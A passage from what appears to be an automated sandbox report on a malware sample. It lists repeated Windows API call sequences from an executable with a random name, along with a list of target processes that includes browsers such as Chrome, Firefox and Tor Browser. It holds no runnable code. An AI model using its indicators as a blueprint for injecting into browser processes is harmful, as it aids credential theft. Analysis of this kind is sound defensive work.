etThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe13_2_022D1900
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022C3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022C3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022C3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrI